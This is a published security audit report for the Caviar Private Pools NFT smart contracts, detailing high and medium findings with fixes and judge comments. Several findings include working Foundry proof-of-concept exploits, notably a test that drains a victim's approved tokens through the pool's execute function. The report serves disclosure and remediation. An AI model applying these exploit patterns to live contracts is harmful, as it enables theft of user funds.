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Caviar Private Pools
Findings & Analysis Report

2023-05-18

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Caviar Private Pools smart contract system written in Solidity. The audit took place between April 7—April 13 2023.

Following the C4 audit, 3 wardens (rvierdiiev, rbserver, and KrisApostolov) reviewed the mitigations for all identified issues; the mitigation review report is appended below the audit report.

Note: This published report was updated on August 28, 2023 to include the mitigation review results.

Wardens

127 Wardens contributed reports to the Caviar Private Pools:

  1. 0x4db5362c
  2. 0x4non
  3. 0x5rings
  4. 0x6980
  5. 0xAgro
  6. 0xLanterns (kiki_dev and wall604)
  7. 0xNorman
  8. 0xRobocop
  9. 0xSmartContract
  10. 0xTheC0der
  11. 0xWeiss
  12. 0xbepresent
  13. ABA
  14. AkshaySrivastav
  15. Aymen0909
  16. Bason
  17. Bauchibred
  18. Bauer
  19. BenRai
  20. BradMoon
  21. Brenzee
  22. ChrisTina
  23. CodingNameKiki
  24. Cryptor
  25. DadeKuma
  26. DishWasher
  27. Dug
  28. ElKu
  29. Emmanuel
  30. Evo
  31. GT_Blockchain (0xTraub, 0xTinder, 0x6020c0, zion, and xkycc)
  32. Haipls
  33. J4de
  34. JCN
  35. JGcarv
  36. Josiah
  37. Kaysoft
  38. Kek
  39. Kenshin
  40. Koolex
  41. KrisApostolov
  42. Madalad
  43. MiloTruck
  44. Naubit
  45. Norah
  46. Noro
  47. Nyx
  48. Rappie
  49. RaymondFam
  50. ReyAdmirado
  51. Rolezn
  52. Ruhum
  53. SaeedAlipoor01988
  54. Sathish9098
  55. SovaSlava
  56. SpicyMeatball
  57. T1MOH
  58. ToonVH
  59. Voyvoda (gogo, deadrxsezzz, and alexxander)
  60. W0RR1O
  61. abiih
  62. adriro
  63. anodaram
  64. aviggiano
  65. ayden
  66. bin2chen
  67. bshramin
  68. btk
  69. carlitox477
  70. catellatech
  71. chaduke
  72. ck
  73. climber2002
  74. codeslide
  75. cryptonue
  76. decade
  77. devscrooge
  78. dingo2077
  79. fs0c
  80. georgits
  81. giovannidisiena
  82. hasmama
  83. hihen
  84. holyhansss_kr
  85. hunter_w3b
  86. indijanc
  87. joestakey
  88. jpserrat
  89. juancito
  90. ladboy233
  91. lukris02
  92. matrix_0wl
  93. minhtrng
  94. nemveer
  95. neumo
  96. nobody2018
  97. oxen
  98. p0wd3r
  99. peanuts
  100. philogy
  101. rbserver
  102. rvierdiiev
  103. saian
  104. said
  105. sashik_eth
  106. savi0ur
  107. sayan
  108. sces60107
  109. shaka
  110. tallo
  111. tanh
  112. teawaterwire
  113. teddav
  114. tnevler
  115. tsvetanovv
  116. ulqiorra
  117. wintermute
  118. ych18
  119. yixxas
  120. zion

This audit was judged by Alex the Entreprenerd.

Final report assembled by itsmetechjay and liveactionllama.

Summary

The C4 analysis yielded an aggregated total of 20 unique vulnerabilities. Of these vulnerabilities, 3 received a risk rating in the category of HIGH severity and 17 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 25 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 6 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Caviar Private Pools repository, and is composed of 4 smart contracts and 1 interface written in the Solidity programming language and includes 741 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

  • Malicious Input Handling
  • Escalation of privileges
  • Arithmetic
  • Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (3)

[H-01] Royalty receiver can drain a private pool

Submitted by Voyvoda, also found by AkshaySrivastav, teddav, aviggiano, and Haipls

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L237-L252

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L267-L268

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L274

Impact

Royalty fee calculation has a serious flaw in buy(...). Caviar’s private pools could be completely drained.

In the Caviar private pool, NFT royalties are being paid from the msg.sender to the NFT royalty receiver of each token in PrivatePool.buy and PrivatePool.sell:

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L271-L285

        #buy(uint256[],uint256[],MerkleMultiProof)

271:    if (payRoyalties) {
            ...
274:        (uint256 royaltyFee, address recipient) = _getRoyalty(tokenIds[i], salePrice);
            ...
278:        if (baseToken != address(0)) {
279:            ERC20(baseToken).safeTransfer(recipient, royaltyFee);
280:        } else {
281:            recipient.safeTransferETH(royaltyFee);
282:        }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L328-L352

        #sell(uint256[],uint256[],MerkleMultiProof,IStolenNftOracle.Message[])

329:    for (uint256 i = 0; i < tokenIds.length; i++) {
            ...
333:        if (payRoyalties) {
                ...
338:            (uint256 royaltyFee, address recipient) = _getRoyalty(tokenIds[i], salePrice);
                ...
345:            if (baseToken != address(0)) {
346:                ERC20(baseToken).safeTransfer(recipient, royaltyFee);
347:            } else {
348:                recipient.safeTransferETH(royaltyFee);
349:            }

In both functions, the amount needed to pay all royalties is taken from the msg.sender who is either the buyer or the seller depending on the context. In PrivatePool.sell, this amount is first paid by the pool and then taken from the msg.sender by simply reducing what they receive in return for the NFTs they are selling. A similar thing is done in PrivatePool.buy, but instead of reducing the output amount, the input amount of base tokens that the msg.sender (buyer) should pay to the pool is increased:

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L251-L252

        #buy(uint256[],uint256[],MerkleMultiProof)

251:    // add the royalty fee amount to the net input aount
252:    netInputAmount += royaltyFeeAmount;

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L354-L355

        #sell(uint256[],uint256[],MerkleMultiProof,IStolenNftOracle.Message[])

354:    // subtract the royalty fee amount from the net output amount
355:    netOutputAmount -= royaltyFeeAmount;

The difference between these two functions (that lies at the core of the problem) is that in PrivatePool.buy, the _getRoyalty function is called twice. The first time is to calculate the total amount of royalties to be paid, and the second time is to actually send each royalty fee to each recipient:

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L242-L248

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L273-L274

        #buy(uint256[],uint256[],MerkleMultiProof)

242:    if (payRoyalties) {
243:        // get the royalty fee for the NFT
244:        (uint256 royaltyFee,) = _getRoyalty(tokenIds[i], salePrice); // @audit _getRoyalty called 1st time
245:
246:        // add the royalty fee to the total royalty fee amount
247:        royaltyFeeAmount += royaltyFee;
248:    }
        
        ...
        
273:    // get the royalty fee for the NFT
274:    (uint256 royaltyFee, address recipient) = _getRoyalty(tokenIds[i], salePrice); // @audit  _getRoyalty called 2nd time

This is problematic because an attacker could potentially change the royalty fee between the two calls, due to the following untrusted external call:

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L267-L268

        #buy(uint256[],uint256[],MerkleMultiProof)

267:    // refund any excess ETH to the caller
268:    if (msg.value > netInputAmount) msg.sender.safeTransferETH(msg.value - netInputAmount); // @audit untrusted external call

If the msg.sender is a malicious contract that has control over the royaltyFee for the NFTs that are being bought, they can change it, for example, from 0 basis points (0%) to 10000 basis points (100%) in their receive() function.

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/common/ERC2981.sol#L94-L99

        // @audit An attacker can call this setter function between the two `_getRoyalty()` calls.
94:     function _setTokenRoyalty(uint256 tokenId, address receiver, uint96 feeNumerator) internal virtual {
95:         require(feeNumerator <= _feeDenominator(), "ERC2981: royalty fee will exceed salePrice");
96:         require(receiver != address(0), "ERC2981: Invalid parameters");
97:
98:         _tokenRoyaltyInfo[tokenId] = RoyaltyInfo(receiver, feeNumerator);
99:     }

That way, the amount transferred by the msg.sender for royalties will be 0 because the total royaltyFeeAmount is calculated based on the first value (0%) but the actual sent amount to the receiver is determined by the second value (100%). This will result in the whole price paid for the NFT being returned to the royalty receiver, but being paid by the Pool instead of the msg.sender.

The msg.sender has therefore received the NFT but paid the whole price for it to the royalty receiver and 0 to the Pool. If the msg.sender is the royalty receiver, they will basically have spent 0 base tokens (not counting gas expenses) but received the NFT in their account. They can then sell it to the same private pool to exchange it for base tokens.

This is an extreme scenario, however, the developers have acknowledged ERC-2981 and that royaltyInfo(...) returns an arbitrary address. In the future we could see projects that have royalty payments that fluctuate such as increasing/decaying royalties over time article on eip 2981 or projects that delegate the creation of nfts to the users such as 1024pixels polygon, git repo and royalties are paid to each user rather to a single creator. In such cases invocation of _getRoyalty(...) twice with external calls that transfer assets in-between is a vulnerable pattern that is sure to introduce asset risks and calculation inaccuracies both for the users and protocol itself. Immediate remedy would be to simplify buy(...) in PrivatePool.sol to use only one for loop and call _getRoyalty(...) once.

PoC shows how the entire Pool’s base tokens can be drained by a single royalty receiver using a single NFT assuming that the royalty receiver has control over the royaltyFee.

Proof of Concept

See warden’s original submission for full Proof of Concept.

Tools Used

Foundry

Ensure that the amount sent to the NFT royalty receivers in the second for loop in buy() is the same as the amount calculated in the first for loop.

Alex the Entreprenerd (judge) commented:

The Warden has shown how, because of reEntrancy and due to the same call being performed for royalties, a malicious royalty recipient can drain the pool of all funds.

I have considered downgrading the finding because of the conditionality of the royalty recipient being malicious, however, I don’t believe this can be considered an external condition, as any account able to change the royalty setting could willingly or unwillingly enable the attack.

For this reason I believe that the finding is of High Severity.

outdoteth (Caviar) confirmed via duplicate issue #593 and mitigated:

Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/12.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.


[H-02] PrivatePool owner can steal all ERC20 and NFT from user via arbitrary execution

Submitted by ladboy233, also found by ElKu, ulqiorra, decade, minhtrng, Koolex, nemveer, said, Norah, giovannidisiena, oxen, JGcarv, JGcarv, Noro, sces60107, Voyvoda, teddav, chaduke, nobody2018, 0x4non, sashik_eth, Emmanuel, 0xTheC0der, and Ruhum

In the current implementation of the PrivatePool.sol, the function execute is meant to claim airdrop, however, we cannot assume the owner is trusted because anyone can permissionlessly create private pool.

/// @notice Executes a transaction from the pool account to a target contract. The caller must be the owner of the
/// pool. This allows for use cases such as claiming airdrops.
/// @param target The address of the target contract.
/// @param data The data to send to the target contract.
/// @return returnData The return data of the transaction.
function execute(address target, bytes memory data) public payable onlyOwner returns (bytes memory) {
	// call the target with the value and data
	(bool success, bytes memory returnData) = target.call{value: msg.value}(data);

	// if the call succeeded return the return data
	if (success) return returnData;

	// if we got an error bubble up the error message
	if (returnData.length > 0) {
		// solhint-disable-next-line no-inline-assembly
		assembly {
			let returnData_size := mload(returnData)
			revert(add(32, returnData), returnData_size)
		}
	} else {
		revert();
	}
}

The owner of private pool can easily steal all ERC20 token and NFT from the user’s wallet after the user gives approval to the PrivatePool contract and the user has to give the approval to the pool to let the PrivatePool pull ERC20 token and NFT from the user when user buy or sell or change from EthRouter or directly calling PrivatePool.

The POC below shows, the owner of the PrivatePool can carefully craft payload to steal funds via arbitrary execution.

After user’s apporval, the target can be an ERC20 token address or a NFT address, the call data can be the payload of transferFrom or function.

Please add the code to Execute.t.sol so we can create a mock token:

contract MyToken is ERC20 {
    constructor() ERC20("MyToken", "MTK", 18) {}

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }
}

Please add the POC below to Execute.t.sol:

  function testStealFundArbitrary_POC() public {
        MyToken token = new MyToken();

        address victim = vm.addr(1040341830);
        address hacker = vm.addr(14141231201);

        token.mint(victim, 100000 ether);

        vm.prank(victim);
        token.approve(address(privatePool), type(uint256).max);

        console.log(
            "token balance of victim before hack",
            token.balanceOf(victim)
        );

        address target = address(token);
        bytes memory data = abi.encodeWithSelector(
            ERC20.transferFrom.selector,
            victim,
            hacker,
            token.balanceOf(victim)
        );

        privatePool.execute(target, data);

        console.log(
            "token balance of victim  after hack",
            token.balanceOf(victim)
        );
    }

We run the POC, the output is:

PS D:\2023Security\2023-04-caviar> forge test -vv --match "testStealFundArbitrary_POC"
[⠒] Compiling...
[⠑] Compiling 1 files with 0.8.19
[⠃] Solc 0.8.19 finished in 8.09s
Compiler run successful

Running 1 test for test/PrivatePool/Execute.t.sol:ExecuteTest
[PASS] testStealFundArbitrary_POC() (gas: 753699)
Logs:
  token balance of victim before hack 100000000000000000000000
  token balance of victim  after hack 0

As we can see, the victim’s ERC20 token are stolen.

We recommend the protocol not let the private pool owner perform arbtirary execution. The private pool can use the flashloan to claim the airdrop himself.

outdoteth (Caviar) confirmed and mitigated:

Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/2

The proposed fix is to revert if execute tries to call the baseToken or nft contract. It’s very unlikely a user will approve any other token than these to the pool so this serves as a sufficient check to prevent the stealing outlined in the exploit.

if (target == address(baseToken) || target == address(nft)) revert InvalidTarget();

Alex the Entreprenerd (judge) commented:

@outdoteth - Wouldn’t the owner be the one owning all of the deposited assets anyway?

outdoteth (Caviar) commented:

@GalloDaSballo - The exploit is not about the owner having ownership over owned deposits but rather about stealing non-deposited user funds.

For example,

  • Alice wants to sell her Milady 123. She also holds Milady 555 and 111.
  • She approves the PrivatePool to spend all of her Miladies so that she can subsequently call “sell()”
  • The malicious owner of the pool then calls “execute()” multiple times with a payload that calls the Milady contract and transferFrom to transfer all of her Miladies (123, 555, 111) from her wallet

Alice has now lost all of her Miladies. The same also applies to baseToken approvals when Alice wants to buy some NFTs.

The proposed fix is to prevent execute() from being able to call the baseToken or nft contracts so that the above example can never occur.

Alex the Entreprenerd (judge) commented:

Thank you @outdoteth for clarifying.

Alex the Entreprenerd (judge) commented:

The Warden has shown how, because of thesetApprovalForAll pattern, mixed with the execute function, a PrivatePool may be used to harvest approvals from users, causing them to lose all tokens.

I have considered downgrading the finding because of the Router technically providing a safety check against the pool.

However, I believe that the risky pattern of direct approvals to the pool is demonstrated by the pull transfer performed by the FlashLoan function: https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L648-L649

        ERC721(token).safeTransferFrom(address(receiver), address(this), tokenId);

For that call to work, the user / user-contract will have to have approved the pool directly.

For this reason I agree with High Severity.

Status: Mitigation confirmed with comments. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.


[H-03] Risk of silent overflow in reserves update

Submitted by sashik_eth, also found by codeslide, Kaysoft, W0RR1O, georgits, btk, lukris02, 0x6980, tnevler, 0xAgro, matrix_0wl, catellatech, Sathish9098, ayden, 0x4non, adriro, Madalad, Kenshin, giovannidisiena, devscrooge, sayan, SaeedAlipoor01988, tsvetanovv, Cryptor, and matrix_0wl

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L230-L231

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L323-L324

Vulnerability details

The buy() and sell() functions update the virtualBaseTokenReserves and virtualNftReserves variables during each trade. However, these two variables are of type uint128, while the values that update them are of type uint256. This means that casting to a lower type is necessary, but this casting is performed without first checking that the values being cast can fit into the lower type. As a result, there is a risk of a silent overflow occurring during the casting process.

    function buy(uint256[] calldata tokenIds, uint256[] calldata tokenWeights, MerkleMultiProof calldata proof) 
        public
        payable
        returns (uint256 netInputAmount, uint256 feeAmount, uint256 protocolFeeAmount)
    {
        // ~~~ Checks ~~~ //

        // calculate the sum of weights of the NFTs to buy
        uint256 weightSum = sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);

        // calculate the required net input amount and fee amount
        (netInputAmount, feeAmount, protocolFeeAmount) = buyQuote(weightSum);
        ...
        // update the virtual reserves
        virtualBaseTokenReserves += uint128(netInputAmount - feeAmount - protocolFeeAmount); 
        virtualNftReserves -= uint128(weightSum);
        ...

Impact

If the reserves variables are updated with a silent overflow, it can lead to a breakdown of the xy=k equation. This, in turn, would result in a totally incorrect price calculation, causing potential financial losses for users or pool owners.

Proof of Concept

Consider the scenario with a base token that has high decimals number described in the next test (add it to the test/PrivatePool/Buy.t.sol):

    function test_Overflow() public {
        // Setting up pool and base token HDT with high decimals number - 30
        // Initial balance of pool - 10 NFT and 100_000_000 HDT
        HighDecimalsToken baseToken = new HighDecimalsToken();
        privatePool = new PrivatePool(address(factory), address(royaltyRegistry), address(stolenNftOracle));
        privatePool.initialize(
            address(baseToken),
            nft,
            100_000_000 * 1e30,
            10 * 1e18,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false
        );

        // Minting NFT on pool address
        for (uint256 i = 100; i < 110; i++) {
            milady.mint(address(privatePool), i);
        }
        // Adding 8 NFT ids into the buying array
        for (uint256 i = 100; i < 108; i++) {
            tokenIds.push(i);
        }
        // Saving K constant (xy) value before the trade
        uint256 kBefore = uint256(privatePool.virtualBaseTokenReserves()) * uint256(privatePool.virtualNftReserves());

        // Minting enough HDT tokens and approving them for pool address
        (uint256 netInputAmount,, uint256 protocolFeeAmount) = privatePool.buyQuote(8 * 1e18);
        deal(address(baseToken), address(this), netInputAmount);
        baseToken.approve(address(privatePool), netInputAmount);

        privatePool.buy(tokenIds, tokenWeights, proofs);

        // Saving K constant (xy) value after the trade
        uint256 kAfter = uint256(privatePool.virtualBaseTokenReserves()) * uint256(privatePool.virtualNftReserves());

        // Checking that K constant succesfully was changed due to silent overflow
        assertEq(kBefore, kAfter, "K constant was changed");
    }

Also add this contract into the end of Buy.t.sol file for proper test work:

    contract HighDecimalsToken is ERC20 {
        constructor() ERC20("High Decimals Token", "HDT", 30) {}
    }

Add checks that the casting value is not greater than the uint128 type max value:

File: PrivatePool.sol
229:         // update the virtual reserves
+            if (netInputAmount - feeAmount - protocolFeeAmount > type(uint128).max) revert Overflow();
230:         virtualBaseTokenReserves += uint128(netInputAmount - feeAmount - protocolFeeAmount); 
+            if (weightSum > type(uint128).max) revert Overflow();
231:         virtualNftReserves -= uint128(weightSum);

File: PrivatePool.sol
322:         // update the virtual reserves
+            if (netOutputAmount + protocolFeeAmount + feeAmount > type(uint128).max) revert Overflow();
323:         virtualBaseTokenReserves -= uint128(netOutputAmount + protocolFeeAmount + feeAmount);
+            if (weightSum > type(uint128).max) revert Overflow();
324:         virtualNftReserves += uint128(weightSum);

outdoteth (Caviar) acknowledged

Alex the Entreprenerd (judge) commented:

The Warden has identified a risky underflow due to unsafe casting, the underflow would cause the invariants of the protocol to be broken, causing it to behave in undefined ways, most likely allowing to discount tokens (principal)

I have considered downgrading to Medium Severity

However, I believe that in multiple cases the subtractions netInputAmount - feeAmount - protocolFeeAmount which could start with netInputAmount > type(uint128).max would not necessarily fall within a uint128

For this reason, I believe the finding to be of High Severity.

outdoteth (Caviar) mitigated:

Fixed in https://github.com/outdoteth/caviar-private-pools/pull/10.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.


Medium Risk Findings (17)

[M-01] The buy function’s mechanism enables users to acquire flash loans at a cheaper fee rate.

Submitted by KrisApostolov

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L211-L289

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L240

Impact

The buy function’s mechanism allows users to access flash loans at a lower fee cost, which could affect the pool owner’s yield if users opt for it instead of flash loans.

Proof of Concept

The buy function initially transfers the NFTs to the buyer before verifying and receiving payment. This mechanism creates an opportunity for users to access flash loans that are akin to flash swaps in Uniswap.

It is worth noting that this scenario is only viable in pools with ERC20 tokens since they do not necessitate upfront payment, unlike payable functions. Additionally, it requires the flash loan fee to be greater than the combined buy and sell fees for the NFTs.

A proof-of-concept (PoC) demonstrating this scenario is provided below:

// @audit-info These are the default circumstances used by most of the tests:

PrivatePool public privatePool;

address baseToken = address(shibaInu);
address nft = address(milady);
uint128 virtualBaseTokenReserves = 100e6;
uint128 virtualNftReserves = 10e18;
uint16 feeRate = 1e2;
uint56 changeFee = 3e6;
bytes32 merkleRoot = bytes32(0);
address owner = address(this);

uint256[] tokenIds;
uint256[] tokenWeights;
PrivatePool.MerkleMultiProof proofs;
IStolenNftOracle.Message[] stolenNftProofs;

function setUp() public {
    privatePool = new PrivatePool(address(factory), address(royaltyRegistry), address(stolenNftOracle));
    privatePool.initialize(
            baseToken, nft, virtualBaseTokenReserves, virtualNftReserves, changeFee, feeRate, merkleRoot, true, false
    );
    deal(address(shibaInu), address(this), 2e6);

    // @audit-info Giving the pool 60 tokens to trade with
    deal(address(shibaInu), address(privatePool), 100e6);

    for (uint256 i = 0; i < 5; i++) {
        milady.mint(address(privatePool), i + 1);
    }
    assertEq(milady.balanceOf(address(privatePool)), 5, "Didn't mint 5 NFTs for some reason.");
}

function test_failBecauseOfDivisionBy0() public {

    for (uint256 i = 0; i < 5; i++) {
        tokenIds.push(i + 1);
    }

    (uint netInputAmount, uint feeAmount, uint protocolFeeAmount) = privatePool.buyQuote(5e18);

    shibaInu.approve(address(privatePool), netInputAmount);
    // @audit-info Trying to buy the 5 tokens present in the pool
    privatePool.buy(tokenIds, tokenWeights, proofs);
}

function onERC721Received(
    address operator,
    address from,
    uint256 tokenId,
    bytes calldata data
) external override returns (bytes4) {
    // @audit-info Claim airdrop for the specific NFT here
    airdrop.claim(tokenId);

    // @audit-info Selling the NFT here
    uint[] memory _tokenIds = new uint[](1);
    _tokenIds[0] = tokenId;

    milady.approve(address(privatePool), tokenId);
    (uint netInputAmount, uint feeAmount, uint protocolFeeAmount) = privatePool.sellQuote(1e18);
         
    privatePool.sell(_tokenIds, tokenWeights, proofs, stolenNftProofs);
    return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}

Tools Used

Foundry

Consider sending the NFTs after the funds have been received by the contract.

outdoteth (Caviar) acknowledged

Alex the Entreprenerd (judge) commented:

The Warden has shown how, due to the handling of callbacks, a buy can be viewed as a flash-swap which allows the payer to pay after using the token, effectively allowing for a cheaper flashloan if fees are set in a certain way.

Because the finding shows a way to possibly side-step fees, while maintaining the same functionality, I believe the most appropriate severity to be Medium.


[M-02] EthRouter can’t perform multiple changes

Submitted by minhtrng, also found by adriro, Voyvoda, ych18, 0xRobocop, bin2chen, chaduke, Ruhum, ladboy233, 0x4db5362c, Kek, BradMoon, ChrisTina, and Rappie

EthRouter is meant to support multiple changes in one tx, but that would fail.

Proof of Concept

The function EthRouter.change sends msg.value to pool in a for loop:

for (uint256 i = 0; i < changes.length; i++) {
    Change memory _change = changes[i];

    ...

    // execute change
    PrivatePool(_change.pool).change{value: msg.value}(
        _change.inputTokenIds,
        _change.inputTokenWeights,
        _change.inputProof,
        _change.stolenNftProofs,
        _change.outputTokenIds,
        _change.outputTokenWeights,
        _change.outputProof
    );

The pool subtracts the fee, and sends the rest back to the router. After the first iteration the router contains less ETH than msg.value and will revert

Add to Change.t.sol and run with forge test --match test_twoChanges -vvvv

    function test_twoChangesOneCall() public {
    uint256[] memory inputTokenIds = new uint256[](1);
    uint256[] memory inputTokenWeights = new uint256[](0);
    uint256[] memory outputTokenIds = new uint256[](1);
    uint256[] memory outputTokenWeights = new uint256[](0);

    uint256[] memory inputTokenIds2 = new uint256[](1);
    uint256[] memory inputTokenWeights2 = new uint256[](0);
    uint256[] memory outputTokenIds2 = new uint256[](1);
    uint256[] memory outputTokenWeights2 = new uint256[](0);

    inputTokenIds[0] = 5;
    outputTokenIds[0] = 0;

    inputTokenIds2[0] = 6;
    outputTokenIds2[0] = 1;

    EthRouter.Change[] memory changes = new EthRouter.Change[](2);
    changes[0] = EthRouter.Change({
        pool: payable(address(privatePool)),
        nft: address(milady),
        inputTokenIds: inputTokenIds,
        inputTokenWeights: inputTokenWeights,
        inputProof: PrivatePool.MerkleMultiProof(new bytes32[](0), new bool[](0)),
        stolenNftProofs: new IStolenNftOracle.Message[](0),
        outputTokenIds: outputTokenIds,
        outputTokenWeights: outputTokenWeights,
        outputProof: PrivatePool.MerkleMultiProof(new bytes32[](0), new bool[](0))
    });

    changes[1] = EthRouter.Change({
        pool: payable(address(privatePool)),
        nft: address(milady),
        inputTokenIds: inputTokenIds2,
        inputTokenWeights: inputTokenWeights2,
        inputProof: PrivatePool.MerkleMultiProof(new bytes32[](0), new bool[](0)),
        stolenNftProofs: new IStolenNftOracle.Message[](0),
        outputTokenIds: outputTokenIds2,
        outputTokenWeights: outputTokenWeights2,
        outputProof: PrivatePool.MerkleMultiProof(new bytes32[](0), new bool[](0))
    });

    (uint256 changeFee,) = privatePool.changeFeeQuote(inputTokenIds.length * 1e18);

    //WARDEN: multiply with 10 just to make sure there really is enough
    ethRouter.change{value: changeFee*10}(changes, 0);

} 

Output:

...
    │   ├─ [0] PrivatePool::change{value: 50000000000000000000}([6], [], ([], []), [], [1], [], ([], [])) 
    │   │   └─ ← "EvmError: OutOfFund"
    │   └─ ← "EvmError: Revert"
    └─ ← "EvmError: Revert"

Only send the required change fee and not msg.value.

outdoteth (Caviar) confirmed and mitigated:

Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/5

The proposed fix is to add a baseTokenAmount field in the Change struct and to use this field instead of msg.value when making the change operation.

PrivatePool(_change.pool).change{value: _change.baseTokenAmount}(
  // -- snip --
);

Alex the Entreprenerd (judge) commented:

The Warden has shown how, because msg.value is passed in a loop, to functions that could reduce this.balance, the tx can revert, breaking the functionality for those use cases.

Because that doesn’t cause a loss of principal, but shows a broken functionality for some cases, I agree with Medium Severity.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.


[M-03] Flash loan fee is incorrect in Private Pool contract

Submitted by adriro, also found by GT_Blockchain, Josiah, Aymen0909, anodaram, KrisApostolov, minhtrng, rbserver, giovannidisiena, wintermute, jpserrat, 0xRobocop, 0xNorman, aviggiano, shaka, Voyvoda, bin2chen, RaymondFam, ElKu, sashik_eth, ToonVH, SpicyMeatball, and climber2002

Private Pools support NFT borrowing using flash loans. Users that decide to use this feature have to pay a flash loan fee to the owner of the pool.

The contract has a changeFee variable that is used to configure the fee for changing NFTs, and this variable is also used to determine the fee for flash loans. In the case of a change operation, the value is interpreted as an amount with 4 decimals, and the token is the base token of the pool. This means that, for example, if the base token is ETH, a changeFee value of 25 should be interpreted as a fee of 0.0025 ETH for change operation.

However, as we can see in this following snippet, the flashFee function just returns the value of changeFee without any scaling or modification.

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L750-L752

750:     function flashFee(address, uint256) public view returns (uint256) {
751:         return changeFee;
752:     }

This means that, following the previous example, a changeFee value of 25 will result in 0.0025 ETH for change operation, but just 25 wei for flash loans.

The documentation hints that this value should also be scaled to 4 decimals in the case of the flash loan fee, but in any case this is clearly an incorrect setting of the flash loan fee.

Proof of Concept

In the following test, the pool is configured with a changeFee value of 25, and Alice is able to execute a flash loan by just paying 25 wei.

Note: the snippet shows only the relevant code for the test. Full test file can be found here.

function test_PrivatePool_flashLoan_IncorrectFee() public {
    // Setup pool
    PrivatePool privatePool = new PrivatePool(
        address(factory),
        address(royaltyRegistry),
        address(stolenNftOracle)
    );
    uint56 changeFee = 25;
    privatePool.initialize(
        address(0), // address _baseToken,
        address(milady), // address _nft,
        100e18, // uint128 _virtualBaseTokenReserves,
        10e18, // uint128 _virtualNftReserves,
        changeFee, // uint56 _changeFee,
        0, // uint16 _feeRate,
        bytes32(0), // bytes32 _merkleRoot,
        false, // bool _useStolenNftOracle,
        false // bool _payRoyalties
    );
    
    uint256 tokenId = 0;
    milady.mint(address(privatePool), tokenId);
    
    // Alice executes a flash loan
    vm.startPrank(alice);
    
    FlashLoanBorrower flashLoanBorrower = new FlashLoanBorrower();
    
    // Alice just sends 25 wei!
    vm.deal(alice, changeFee);
    privatePool.flashLoan{value: changeFee}(flashLoanBorrower, address(milady), tokenId, "");
    
    vm.stopPrank();
}

The flashFee function should properly scale the value of the changeFee variable, similar to how it is implemented in changeFeeQuote.

outdoteth (Caviar) confirmed and mitigated:

Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/6

Proposed fix is to exponentiate the changeFee to get the correct flashFee in the same way that changeFee is exponentiated in change().

function flashFee(address, uint256) public view returns (uint256) {
    // multiply the changeFee to get the fee per NFT (4 decimals of accuracy)
    uint256 exponent = baseToken == address(0) ? 18 - 4 : ERC20(baseToken).decimals() - 4;
    uint256 feePerNft = changeFee * 10 ** exponent;
    return feePerNft;
}

Alex the Entreprenerd (judge) commented:

First of all FlashLoan Fees don’t have to scale.

That said, the code and the codebase point to wanting to offer a fee that scales based on the amounts loaned. For this nuanced reason, given that the Sponsor has confirmed and mitigated with a scaling fee, I believe that the most appropriate severity is Medium.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.


[M-04] changeFeeQuote will fail for low decimal ERC20 tokens

Submitted by adriro, also found by ToonVH, saian, 0x5rings, joestakey, anodaram, giovannidisiena, chaduke, Koolex, cryptonue, 0x5rings, aviggiano, T1MOH, shaka, 0xLanterns, ayden, ElKu, 0xbepresent, 0x4non, Brenzee, ck, 0xWeiss, indijanc, Naubit, yixxas, and Kek

Private pools have a “change” fee setting that is used to charge fees when a change is executed in the pool (user swaps tokens for some tokens in the pool). This setting is controlled by the changeFee variable, which is intended to be defined using 4 decimals of precision:

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L87-L88

87:     /// @notice The change/flash fee to 4 decimals of precision. For example, 0.0025 ETH = 25. 500 USDC = 5_000_000.
88:     uint56 public changeFee;

As the comment says, in the case of ETH a value of 25 should represent 0.0025 ETH. In the case of an ERC20 this should be scaled accordingly based on the number of decimals of the token. The implementation is defined in the changeFeeQuote function.

